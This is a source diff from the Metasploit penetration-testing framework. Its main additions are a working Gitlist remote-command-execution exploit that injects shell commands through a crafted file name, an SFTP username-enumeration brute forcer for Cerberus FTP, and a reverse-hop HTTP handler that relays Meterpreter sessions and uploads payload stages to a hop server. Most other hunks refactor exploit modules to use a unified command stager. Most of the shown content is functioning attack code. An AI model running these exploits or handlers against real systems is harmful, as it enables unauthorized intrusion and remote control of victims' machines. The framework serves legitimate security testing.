def execute_cmdstager(opts = {})
opts.merge!({ :decoder => datastore['DECODERSTUB'] })
super
end
def generate_cmdstager(opts = {}, pl = nil)
opts.merge!({ :decoder => datastore['DECODERSTUB'] })
super
end
end
end

View File

@ -1,41 +0,0 @@
# -*- coding: binary -*-
require 'msf/core/exploit/cmdstager'
module Msf
###
#
# This mixin provides an interface for staging cmd to arbitrary payloads
#
###
module Exploit::CmdStagerVBS::ADODB
include Msf::Exploit::CmdStager
def initialize(info = {})
super
register_advanced_options(
[
OptString.new( 'DECODERSTUB', [ true, 'The VBS base64 file decoder stub to use.',
File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_adodb")]),
], self.class)
end
def create_stager(exe)
Rex::Exploitation::CmdStagerVBS.new(exe)
end
def execute_cmdstager(opts = {})
opts.merge!({ :decoder => datastore['DECODERSTUB'] })
super
end
def generate_cmdstager(opts = {}, pl = nil)
opts.merge!({ :decoder => datastore['DECODERSTUB'] })
super
end
end
end

View File

@ -19,14 +19,6 @@ require 'msf/core/exploit/php_exe'
# CmdStagers
require 'msf/core/exploit/cmdstager'
require 'msf/core/exploit/cmdstager_vbs'
require 'msf/core/exploit/cmdstager_vbs_adodb'
require 'msf/core/exploit/cmdstager_debug_write'
require 'msf/core/exploit/cmdstager_debug_asm'
require 'msf/core/exploit/cmdstager_tftp'
require 'msf/core/exploit/cmdstager_bourne'
require 'msf/core/exploit/cmdstager_echo'
require 'msf/core/exploit/cmdstager_printf'
# Protocol
require 'msf/core/exploit/tcp'

View File

@ -0,0 +1,305 @@
# -*- coding: binary -*-
require 'rex/io/stream_abstraction'
require 'rex/sync/ref'
require 'msf/core/handler/reverse_http'
require 'uri'
module Msf
module Handler
###
#
# This handler implements the HTTP hop tunneling interface.
# It acts like an HTTP server to the meterpreter packet dispatcher but
# as an HTTP client to actually send and receive the data from the hop.
#
###
module ReverseHopHttp
include Msf::Handler::ReverseHttp
#
# Magic bytes to know we are talking to a valid hop
#
MAGIC = 'TzGq'
# hop_handlers is a class-level instance variable
class << self; attr_accessor :hop_handlers end
attr_accessor :monitor_thread # :nodoc:
attr_accessor :handlers # :nodoc:
attr_accessor :closed_handlers # :nodoc:
attr_accessor :mclient # :nodoc:
attr_accessor :current_url # :nodoc:
attr_accessor :control # :nodoc:
attr_accessor :refs # :nodoc:
attr_accessor :lock # :nodoc:
#
# Keeps track of what hops have active handlers
#
@hop_handlers = {}
#
# Returns the string representation of the handler type
#
def self.handler_type
return "reverse_hop_http"
end
#
# Returns the connection-described general handler type, in this case
# 'tunnel'.
#
def self.general_handler_type
"tunnel"
end
#
# Sets up a handler. Doesn't do much since it's all in start_handler.
#
def setup_handler
self.handlers = {}
self.closed_handlers = {}
self.lock = Mutex.new
end
#
# Starts the handler along with a monitoring thread to handle data transfer
#
def start_handler
# Our HTTP client and URL for talking to the hop
uri = URI(full_uri)
self.control = "#{uri.request_uri}control"
self.mclient = Rex::Proto::Http::Client.new(
uri.host,
uri.port,
{
'Msf' => framework
}
)
@running = true # So we know we can stop it
# If someone is already monitoring this hop, bump the refcount instead of starting a new thread
if ReverseHopHttp.hop_handlers.has_key?(full_uri)
ReverseHopHttp.hop_handlers[full_uri].refs += 1
return
end
# Sometimes you just have to do everything yourself.
# Declare ownership of this hop and spawn a thread to monitor it.
self.refs = 1
ReverseHopHttp.hop_handlers[full_uri] = self
self.monitor_thread = Rex::ThreadFactory.spawn('ReverseHopHTTP', false, uri,
self) do |uri, hop_http|
hop_http.send_new_stage # send stage to hop
delay = 1 # poll delay
# Continue to loop as long as at least one handler or one session is depending on us
until hop_http.refs < 1 && hop_http.handlers.empty?
sleep delay
delay = delay + 1 if delay < 10 # slow down if we're not getting anything
crequest = hop_http.mclient.request_raw({'method' => 'GET', 'uri' => control})
res = hop_http.mclient.send_recv(crequest) # send poll to the hop
next if res.nil?
if res.error
print_error(res.error)
next
end
# validate responses, handle each message down
received = res.body
until received.length < 12 || received.slice!(0, MAGIC.length) != MAGIC
# good response
delay = 0 # we're talking, speed up
urlen = received.slice!(0,4).unpack('V')[0]
urlpath = received.slice!(0,urlen)
datalen = received.slice!(0,4).unpack('V')[0]
# do not want handlers to change while we dispatch this
hop_http.lock.lock
#received now starts with the binary contents of the message
if hop_http.handlers.include? urlpath
pack = Rex::Proto::Http::Packet.new
pack.body = received.slice!(0,datalen)
hop_http.current_url = urlpath
hop_http.handlers[urlpath].call(hop_http, pack)
hop_http.lock.unlock
elsif !closed_handlers.include? urlpath
hop_http.lock.unlock
#New session!
conn_id = urlpath.gsub("/","")
# Short-circuit the payload's handle_connection processing for create_session
# We are the dispatcher since we need to handle the comms to the hop
create_session(hop_http, {
:passive_dispatcher => self,
:conn_id => conn_id,
:url => uri.to_s + conn_id + "/\x00",
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => false,
})
# send new stage to hop so next inbound session will get a unique ID.
hop_http.send_new_stage
else
hop_http.lock.unlock
end
end
end
hop_http.monitor_thread = nil #make sure we're out
ReverseHopHttp.hop_handlers.delete(full_uri)
end
end
#
# Stops the handler and monitoring thread
#
def stop_handler
# stop_handler is called like 3 times, don't decrement refcount unless we're still running
if @running
ReverseHopHttp.hop_handlers[full_uri].refs -= 1
@running = false
end
end
#
# Adds a resource. (handler for a session)
#
def add_resource(res, opts={})
self.handlers[res] = opts['Proc']
start_handler if monitor_thread.nil?
end
#
# Removes a resource.
#
def remove_resource(res)
lock.lock
handlers.delete(res)
closed_handlers[res] = true
lock.unlock
end
#
# Implemented for compatibility reasons, does nothing
#
def close_client(cli)
end
#
# Sends data to hop
#
def send_response(resp)
if not resp.body.empty?
crequest = mclient.request_raw(
'method' => 'POST',
'uri' => control,
'data' => resp.body,
'headers' => {'X-urlfrag' => current_url}
)
# if receiving POST data, hop does not send back data, so we can stop here
mclient.send_recv(crequest)
end
end
#
# Return the URI of the hop point.
#
def full_uri
uri = datastore['HOPURL']
return uri if uri.end_with?('/')
return "#{uri}/" if uri.end_with?('?')
"#{uri}?/"
end
#
# Returns a string representation of the local hop
#
def localinfo
"Hop client"
end
#
# Returns the URL of the remote hop end
#
def peerinfo
uri = URI(full_uri)
"#{uri.host}:#{uri.port}"
end
#
# Initializes the Hop HTTP tunneling handler.
#
def initialize(info = {})
super
register_options(
[
OptString.new('HOPURL', [ true, "The full URL of the hop script, e.g. http://a.b/hop.php" ])
], Msf::Handler::ReverseHopHttp)
end
#
# Generates and sends a stage up to the hop point to be ready for the next client
#
def send_new_stage
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
url = full_uri + conn_id + "/\x00"
print_status("Preparing stage for next session #{conn_id}")
blob = stage_payload
# Replace the user agent string with our option
i = blob.index("METERPRETER_UA\x00")
if i
str = datastore['MeterpreterUserAgent'][0,255] + "\x00"
blob[i, str.length] = str
end
# Replace the transport string first (TRANSPORT_SOCKET_SSL)
i = blob.index("METERPRETER_TRANSPORT_SSL")
if i
str = "METERPRETER_TRANSPORT_HTTP#{ssl? ? "S" : ""}\x00"
blob[i, str.length] = str
end
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
i = blob.index("https://" + ("X" * 256))
if i
url = full_uri + conn_id + "/\x00"
blob[i, url.length] = url
end
print_status("Patched URL at offset #{i}...")
i = blob.index([0xb64be661].pack("V"))
if i
str = [ datastore['SessionExpirationTimeout'] ].pack("V")
blob[i, str.length] = str
end
i = blob.index([0xaf79257f].pack("V"))
if i
str = [ datastore['SessionCommunicationTimeout'] ].pack("V")
blob[i, str.length] = str
end
blob = encode_stage(blob)
#send up
crequest = mclient.request_raw(
'method' => 'POST',
'uri' => control,
'data' => blob,
'headers' => {'X-init' => 'true'}
)
res = mclient.send_recv(crequest)
print_status("Uploaded stage to hop #{full_uri}")
print_error(res.error) if !res.nil? && res.error
#return conn info
[conn_id, url]
end
end
end
end

View File

@ -172,6 +172,19 @@ class CmdStagerBase
nil
end
# Should be overriden if the cmd stager needs to setup anything
# before it's executed
def setup(mod = nil)
end
#
# Should be overriden if the cmd stager needs to do any clenaup
#
def teardown(mod = nil)
end
end
end
end

View File

@ -27,10 +27,19 @@ class CmdStagerTFTP < CmdStagerBase
def initialize(exe)
super
@payload_exe = Rex::Text.rand_text_alpha(8) + ".exe"
end
def setup(mod)
tftp = Rex::Proto::TFTP::Server.new
tftp.register_file(Rex::Text.rand_text_alphanumeric(8), exe)
tftp.start
mod.add_socket(tftp) # Hating myself for doing it... but it's just a first demo
end
def teardown(mod = nil)
tftp.stop
end
#
# We override compress commands just to stick in a few extra commands
@ -54,8 +63,9 @@ class CmdStagerTFTP < CmdStagerBase
# NOTE: We don't use a concatenation operator here since we only have a couple commands.
# There really isn't any need to combine them. Also, the ms01_026 exploit depends on
# the start command being issued separately so that it can ignore it :)
attr_reader :exe
attr_reader :payload_exe
attr_accessor :tftp
end
end
end

View File

@ -148,7 +148,7 @@ TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400
TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401
TLV_TYPE_PROCEDURE_NAME = TLV_META_TYPE_STRING | 2402
TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_QWORD | 2403
TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_UINT | 2404
TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_QWORD | 2404
TLV_TYPE_IMAGE_GROUP = TLV_META_TYPE_GROUP | 2405
TLV_TYPE_IMAGE_NAME = TLV_META_TYPE_STRING | 2406

View File

@ -53,7 +53,7 @@ class Metasploit3 < Msf::Auxiliary
end
version = res.headers['X-Jenkins']
vprint_status("#{peer} - Jenkins Version - #{version}")
print_status("#{peer} - Jenkins Version - #{version}")
report_service(
:host => rhost,
:port => rport,
@ -120,17 +120,17 @@ class Metasploit3 < Msf::Auxiliary
)
end
when 403
vprint_status("#{peer} - #{uri_path} restricted (403)")
print_status("#{peer} - #{uri_path} restricted (403)")
when 401
vprint_status("#{peer} - #{uri_path} requires authentication (401): #{res.headers['WWW-Authenticate']}")
print_status("#{peer} - #{uri_path} requires authentication (401): #{res.headers['WWW-Authenticate']}")
when 404
vprint_status("#{peer} - #{uri_path} not found (404)")
print_status("#{peer} - #{uri_path} not found (404)")
when 301
vprint_status("#{peer} - #{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)")
print_status("#{peer} - #{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)")
when 302
vprint_status("#{peer} - #{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)")
print_status("#{peer} - #{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)")
else
vprint_status("#{peer} - #{uri_path} Don't know how to handle response code #{res.code}")
print_status("#{peer} - #{uri_path} Don't know how to handle response code #{res.code}")
end
end

View File

@ -14,7 +14,7 @@ class Metasploit3 < Msf::Auxiliary
def initialize
super(
'Name' => 'IPMI 2.0 RAKP Cipher Zero Authentication Bypass Scanner',
'Name' => 'IPMI 2.0 Cipher Zero Authentication Bypass Scanner',
'Description' => %q|
This module identifies IPMI 2.0 compatible systems that are vulnerable
to an authentication bypass vulnerability through the use of cipher

View File

@ -41,7 +41,7 @@ class Metasploit3 < Msf::Auxiliary
data = sock.get_once
if ( data and data =~ /\\*.TNSLSNR for (.*)/ )
if ( data && data =~ /\\*.TNSLSNR for (.*)/ )
ora_version = data.match(/\\*.TNSLSNR for (.*)/)[1]
report_service(
:host => ip,
@ -50,6 +50,13 @@ class Metasploit3 < Msf::Auxiliary
:info => ora_version
)
print_good("#{ip}:#{datastore['RPORT']} Oracle - Version: " + ora_version)
elsif ( data && data =~ /\(ERR=(\d+)\)/ )
case $1.to_i
when 1189
print_error( "#{ip}:#{datastore['RPORT']} Oracle - Version: Unknown - Error code #{$1} - The listener could not authenticate the user")
else
print_error( "#{ip}:#{datastore['RPORT']} Oracle - Version: Unknown - Error code #{$1}")
end
else
print_error( "#{ip}:#{datastore['RPORT']} Oracle - Version: Unknown")
end

View File

@ -0,0 +1,213 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'net/ssh'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Cerberus FTP Server SFTP Username Enumeration',
'Description' => %q{
This module uses a dictionary to brute force valid usernames from
Cerberus FTP server via SFTP. This issue affects all versions of
the software older than 6.0.9.0 or 7.0.0.2 and is caused by a discrepancy
in the way the SSH service handles failed logins for valid and invalid
users. This issue was discovered by Steve Embling.
},
'Author' => [
'Steve Embling', # Discovery
'Matt Byrne <attackdebris [at] gmail.com>' # Metasploit module
],
'References' =>
[
[ 'URL', 'http://xforce.iss.net/xforce/xfdb/93546' ],
[ 'BID', '67707']
],
'License' => MSF_LICENSE,
'DisclosureDate' => 'May 27 2014'
))
register_options(
[
Opt::RPORT(22),
OptPath.new(
'USER_FILE',
[true, 'Files containing usernames, one per line', nil])
], self.class
)
register_advanced_options(
[
OptInt.new(
'RETRY_NUM',
[true , 'The number of attempts to connect to a SSH server for each user', 3]),
OptInt.new(
'SSH_TIMEOUT',
[true, 'Specify the maximum time to negotiate a SSH session', 10]),
OptBool.new(
'SSH_DEBUG',
[true, 'Enable SSH debugging output (Extreme verbosity!)', false])
]
)
end
def rport
datastore['RPORT']
end
def retry_num
datastore['RETRY_NUM']
end
def check_vulnerable(ip)
options = {
:port => rport,
:auth_methods => ['password', 'keyboard-interactive'],
:msframework => framework,
:msfmodule => self,
:disable_agent => true,
:config => false,
:proxies => datastore['Proxies']
}
begin
transport = Net::SSH::Transport::Session.new(ip, options)
rescue Rex::ConnectionError, Rex::AddressInUse
return :connection_error
end
auth = Net::SSH::Authentication::Session.new(transport, options)
auth.authenticate("ssh-connection", Rex::Text.rand_text_alphanumeric(8), Rex::Text.rand_text_alphanumeric(8))
auth_method = auth.allowed_auth_methods.join('|')
print_status "#{peer(ip)} Server Version: #{auth.transport.server_version.version}"
report_service(
:host => ip,
:port => rport,
:name => "ssh",
:proto => "tcp",
:info => auth.transport.server_version.version
)
if auth_method.empty?
:vulnerable
else
:safe
end
end
def check_user(ip, user, port)
pass = Rex::Text.rand_text_alphanumeric(8)
opt_hash = {
:auth_methods => ['password', 'keyboard-interactive'],
:msframework => framework,
:msfmodule => self,
:port => port,
:disable_agent => true,
:config => false,
:proxies => datastore['Proxies']
}
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
transport = Net::SSH::Transport::Session.new(ip, opt_hash)
auth = Net::SSH::Authentication::Session.new(transport, opt_hash)
begin
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
auth.authenticate("ssh-connection", user, pass)
auth_method = auth.allowed_auth_methods.join('|')
if auth_method != ''
:success
else
:fail
end
end
rescue Rex::ConnectionError, Rex::AddressInUse
return :connection_error
rescue Net::SSH::Disconnect, ::EOFError
return :success
rescue ::Timeout::Error
return :connection_error
end
end
def do_report(ip, user, port)
report_auth_info(
:host => ip,
:port => rport,
:sname => 'ssh',
:user => user,
:active => true
)
end
def peer(rhost=nil)
"#{rhost}:#{rport} SSH -"
end
def user_list
users = nil
if File.readable? datastore['USER_FILE']
users = File.new(datastore['USER_FILE']).read.split
users.each {|u| u.downcase!}
users.uniq!
else
raise ArgumentError, "Cannot read file #{datastore['USER_FILE']}"
end
users
end
def attempt_user(user, ip)
attempt_num = 0
ret = nil
while (attempt_num <= retry_num) && (ret.nil? || ret == :connection_error)
if attempt_num > 0
Rex.sleep(2 ** attempt_num)
print_debug "#{peer(ip)} Retrying '#{user}' due to connection error"
end
ret = check_user(ip, user, rport)
attempt_num += 1
end
ret
end
def show_result(attempt_result, user, ip)
case attempt_result
when :success
print_good "#{peer(ip)} User '#{user}' found"
do_report(ip, user, rport)
when :connection_error
print_error "#{peer(ip)} User '#{user}' could not connect"
when :fail
vprint_status "#{peer(ip)} User '#{user}' not found"
end
end
def run_host(ip)
print_status "#{peer(ip)} Checking for vulnerability"
case check_vulnerable(ip)
when :vulnerable
print_good "#{peer(ip)} Vulnerable"
print_status "#{peer(ip)} Starting scan"
user_list.each do |user|
show_result(attempt_user(user, ip), user, ip)
end
when :safe
print_error "#{peer(ip)} Not vulnerable"
when :connection_error
print_error "#{peer(ip)} Connection failed"
end
end
end

View File

@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerEcho
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
@ -53,6 +53,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DisclosureDate' => 'Feb 08 2013',
'DefaultTarget' => 0))
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
end
def check
@ -81,6 +82,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("#{peer} - Exploiting...")
execute_cmdstager(
:flavor => :echo,
:linemax => 200,
:concat_operator => " && "
)

View File

@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerEcho
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
@ -52,6 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DisclosureDate' => 'Feb 08 2013',
'DefaultTarget' => 0))
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
end
def check
@ -80,6 +81,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("#{peer} - Exploiting...")
execute_cmdstager(
:flavor => :echo,
:linemax => 200,
:concat_operator => " && "
)

View File

@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerEcho
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
@ -61,6 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultTarget' => 0
))
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
end
def check
@ -109,6 +110,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("#{peer} - Exploiting...")
execute_cmdstager(
:flavor => :echo,
:linemax => 92
)
end

View File

@ -0,0 +1,119 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Gitlist Unauthenticated Remote Command Execution',
'Description' => %q{
This module exploits an unauthenticated remote command execution vulnerability
in version 0.4.0 of Gitlist. The problem exists in the handling of an specially
crafted file name when trying to blame it.
},
'License' => MSF_LICENSE,
'Privileged' => false,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Author' =>
[
'drone', #discovery/poc by @dronesec
'Brandon Perry <bperry.volatile@gmail.com>' #Metasploit module
],
'References' =>
[
['CVE', '2014-4511'],
['EDB', '33929'],
['URL', 'http://hatriot.github.io/blog/2014/06/29/gitlist-rce/']
],
'Payload' =>
{
'Space' => 8192, # max length of GET request really
'BadChars' => "&\x20",
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic telnet python perl bash gawk netcat netcat-e ruby php openssl',
}
},
'Targets' =>
[
['Gitlist 0.4.0', { }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 30 2014'
))
register_options(
[
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
], self.class)
end
def check
repo = get_repo
if repo.nil?
return Exploit::CheckCode::Unknown
end
chk = Rex::Text.encode_base64(rand_text_alpha(rand(32)+5))
res = send_command(repo, "echo${IFS}" + chk + "|base64${IFS}--decode")
if res && res.body
if res.body.include?(Rex::Text.decode_base64(chk))
return Exploit::CheckCode::Vulnerable
elsif res.body.to_s =~ /sh.*not found/
return Exploit::CheckCode::Vulnerable
end
end
Exploit::CheckCode::Safe
end
def exploit
repo = get_repo
if repo.nil?
fail_with(Failure::Unknown, "#{peer} - Failed to retrieve the remote repository")
end
send_command(repo, payload.encoded)
end
def get_repo
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "/")
})
unless res
return nil
end
first_repo = /href="\/gitlist\/(.*)\/"/.match(res.body)
unless first_repo && first_repo.length >= 2
return nil
end
repo_name = first_repo[1]
repo_name
end
def send_command(repo, cmd)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, repo, 'blame', 'master', '""`' + cmd + '`')
}, 1)
res
end
end

View File

@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerEcho
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
@ -64,6 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultTarget' => 0
))
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
end
@ -115,7 +116,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
print_status("#{peer} - Exploiting...")
execute_cmdstager
execute_cmdstager({:flavor => :echo})
end
end

View File

@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerEcho
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
@ -48,7 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote
OptAddress.new('RHOST', [true, 'The address of the router', '192.168.1.1']),
OptInt.new('TIMEOUT', [false, 'The timeout to use in every request', 20])
], self.class)
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
end
def check
@ -71,7 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
test_login
execute_cmdstager
execute_cmdstager({:flavor => :echo})
end
# Sends an HTTP request with authorization header to the router

View File

@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStagerEcho
include Msf::Exploit::CmdStager
def initialize(info={})
super(update_info(info,
@ -133,7 +133,7 @@ class Metasploit3 < Msf::Exploit::Remote
OptBool.new('NOARGS', [false, "Don't use the echo -en parameters", false ]),
OptEnum.new('ENCODING', [false, "Payload encoding to use", 'hex', ['hex', 'octal']]),
], self.class)
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
end
def check
@ -168,7 +168,8 @@ class Metasploit3 < Msf::Exploit::Remote
execute_cmdstager(
:noargs => @no_args,
:temp => @upload_path,
:enc_format => @encoding_format
:enc_format => @encoding_format,
:flavor => :echo
)
end

View File

@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
include REXML
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerVBS
include Msf::Exploit::Remote::CmdStager
def initialize(info = {})
super(update_info(info,
@ -50,7 +50,8 @@ class Metasploit3 < Msf::Exploit::Remote
[ 'HP SiteScope 11.20 / Windows',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
'Platform' => 'win',
'CmdStagerFlavor' => 'vbs'
}
],
[ 'HP SiteScope 11.20 / Linux',

View File

@ -8,7 +8,7 @@ require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStagerVBS
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
@ -41,19 +41,23 @@ class Metasploit3 < Msf::Exploit::Remote
[
['Linux', {
'Platform' => 'linux',
'Arch' => ARCH_X86
'Arch' => ARCH_X86,
'CmdStagerFlavor' => 'bourne'
}],
['Linux (x64)', {
'Platform' => 'linux',
'Arch' => ARCH_X86_64
'Arch' => ARCH_X86_64,
'CmdStagerFlavor' => 'bourne'
}],
['Windows', {
'Platform' => 'win',
'Arch' => ARCH_X86
'Arch' => ARCH_X86,
'CmdStagerFlavor' => 'vbs'
}],
['Windows (x64)', {
'Platform' => 'win',
'Arch' => ARCH_X86_64
'Arch' => ARCH_X86_64,
'CmdStagerFlavor' => 'vbs'
}],
],
'Privileged' => false,
@ -121,11 +125,7 @@ class Metasploit3 < Msf::Exploit::Remote
def setup_stager
case target.opts['Platform']
when "linux" then opts = { :temp => './', :linemax => 2800 }
when "win" then opts = { :temp => '.', :linemax => 2800 }
end
execute_cmdstager(opts)
execute_cmdstager(:temp => './', :linemax => 2800)
end
@ -194,8 +194,6 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
@cookie = ''
extend Msf::Exploit::CmdStagerBourne if target.opts['Platform'] == "linux"
setup_stager
end
end

View File

@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerVBS
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote
[
# Tested on Hyperic HQ versions 4.5.2-win32 and 4.6.6-win32 on Windows XP SP3 and Ubuntu 10.04
['Automatic', {} ],
['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win'}],
['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => 'vbs'}],
['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }],
['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}]
],
@ -247,7 +247,6 @@ class Metasploit3 < Msf::Exploit::Remote
end
def exploit
# login
@ -281,7 +280,7 @@ class Metasploit3 < Msf::Exploit::Remote
# send payload
case @my_target['Platform']
when 'win'
print_status("#{peer} - Sending VBS stager...")
print_status("#{peer} - Sending command stager...")
execute_cmdstager({:linemax => 2049})
when 'unix'
print_status("#{peer} - Sending UNIX payload...")

View File

@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerVBS
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
@ -35,8 +35,8 @@ class Metasploit3 < Msf::Exploit::Remote
'Platform' => %w{ win linux unix },
'Targets' =>
[
['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win'}],
['Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }],
['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => 'vbs'}],
['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }],
['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}]
],
'DisclosureDate' => 'Jan 18 2013',
@ -169,7 +169,7 @@ class Metasploit3 < Msf::Exploit::Remote
case target['Platform']
when 'win'
print_status("#{rhost}:#{rport} - Sending VBS stager...")
print_status("#{rhost}:#{rport} - Sending command stager...")
execute_cmdstager({:linemax => 2049})
when 'unix'
print_status("#{rhost}:#{rport} - Sending payload...")

View File

@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerVBS
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Platform' => %w{ win unix },
'Targets' =>
[
[ 'Windows', { 'Arch'=>ARCH_X86, 'Platform'=>'win'} ],
[ 'Windows', { 'Arch'=>ARCH_X86, 'Platform'=>'win', 'CmdStagerFlavor' => 'vbs'} ],
[ 'Unix', { 'Arch'=>ARCH_CMD, 'Platform'=>'unix', 'Payload'=>{'BadChars' => "\x22"}} ]
],
'DisclosureDate' => 'Dec 06 2012'))
@ -113,7 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
case target['Platform']
when 'win'
print_status("#{rhost}:#{rport} - Sending VBS stager...")
print_status("#{rhost}:#{rport} - Sending command stager...")
execute_cmdstager({:linemax=>500})
when 'unix'

View File

@ -8,7 +8,7 @@ require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::CmdStagerTFTP
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
@ -42,7 +42,8 @@ class Metasploit3 < Msf::Exploit::Remote
['Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
'Platform' => 'win',
'CmdStagerFlavor' => 'tftp'
}
],
['Linux Universal',
@ -88,10 +89,8 @@ class Metasploit3 < Msf::Exploit::Remote
end
def windows_stager
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
execute_cmdstager({ :temp => '.'})
execute_cmdstager({ :temp => '.' })
@payload_exe = payload_exe
print_status("Attempting to execute the payload...")

View File

@ -8,7 +8,7 @@ require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStagerTFTP
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
@ -45,7 +45,8 @@ class Metasploit3 < Msf::Exploit::Remote
['Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
'Platform' => 'win',
'CmdStagerFlavor' => 'tftp'
}
],
['Linux Universal',
